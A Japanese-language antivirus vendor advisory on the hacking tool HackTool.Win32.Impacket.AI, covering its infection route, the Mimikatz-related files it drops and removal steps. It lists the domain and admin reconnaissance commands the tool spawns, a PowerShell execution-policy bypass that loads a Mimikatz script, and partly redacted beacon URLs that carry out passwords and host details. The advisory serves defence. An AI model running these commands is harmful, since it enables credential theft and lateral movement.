Trend Micro Security

HackTool.Win32.Impacket.AI

2019年4月8日
 解析者: Jay Bradley Nebre   

 別名:

Trojan:Win32/InjectPyinc!rfn(Microsoft); Trojan.Win32.Trickster.dzg(Kaspersky)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: ハッキングツール
  • 破壊活動の有無: なし
  • 暗号化: なし
  • 感染報告の有無: はい

  概要

感染経路 他のマルウェアからの作成, インターネットからのダウンロード

プログラムは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

プログラムは、特定の脆弱性を利用した感染活動を実行します。


  詳細

ファイルサイズ 6,967,008 bytes
タイプ EXE
メモリ常駐 はい
発見日 2019年3月26日
ペイロード URLまたはIPアドレスに接続

侵入方法

プログラムは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

プログラムは、以下のファイルを作成します。

  • {Malware Path}\mkatz.ini - mimikatz note

プログラムは、以下のファイルを作成し実行します。

  • {Malware Path}\m2.ps1 - detected as Trojan.PS1.MIMIKATZ.ADW

プログラムは、以下のプロセスを追加します。

  • {malware name}.exe;
  • cmd /c wmic ntdomain get domainname;
  • wmic ntdomain get domainname;
  • cmd /c net localgroup administrators;
  • net localgroup administrators;
  • C:\Windows\system32\net1 localgroup administrators;
  • cmd /c net group "domain admins" /domain;
  • net group "domain admins" /domain;
  • C:\Windows\system32\net1 group "domain admins" /domain;
  • powershell.exe -exec bypass "import-module {malware path}\m2.ps1

その他

プログラムは、以下の不正なWebサイトにアクセスします。

  • http://{BLOCKED}o.{BLOCKED}g.com/e.png?id={Computer Name}&mac={MAC Address}&OS={OS Version}&BIT={32/64}&IT={Date and Time}&c={Counter}&VER=\'+{Malware Version}&d={SMBdomain}&from={Textfilesource}&mpass={Password}&size={Size of file}&num={no.}&sa={sqlpassword}&dig={0/1}&mdl={0/1}
  • http://{BLOCKED}o.{BLOCKED}h.com/e.png?id={Computer Name}&mac={MAC Address}&OS={OS Version}&BIT={32/64}&IT={Date and Time}&c=\'+{Counter}&VER=\'+{Malware Version}&d={SMBdomain}&from={Textfilesource}&mpass={Password}&size={Size of file}&num={no}&sa={sqlpassword}&dig={0/1}&mdl={0/1}
  • http://{BLOCKED}o.{BLOCKED}y.com/e.png?id={Computer Name}&mac={MAC Address}&OS={OS Version}&BIT={32/64}&IT={Date and Time}&c=\'+{Counter}&VER=\'+{Malware Version}&d={SMBdomain}&from={Textfilesource}&mpass={Password}&size={Size of file}&num={no.}&sa={sqlpassword}&dig={0/1}&mdl={0/1}

プログラムは、以下の脆弱性を利用して感染活動を実行します。


  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 2.159.00
初回 VSAPI パターンリリース日 2019年3月26日
VSAPI OPR パターンバージョン 2.160.00
VSAPI OPR パターンリリース日 2019年3月27日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

「HackTool.Win32.Impacket.AI」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 4

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  
  • {Malware Path}\m2.ps1
  • {Malware Path}\mkatz.ini

手順 5

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「HackTool.Win32.Impacket.AI」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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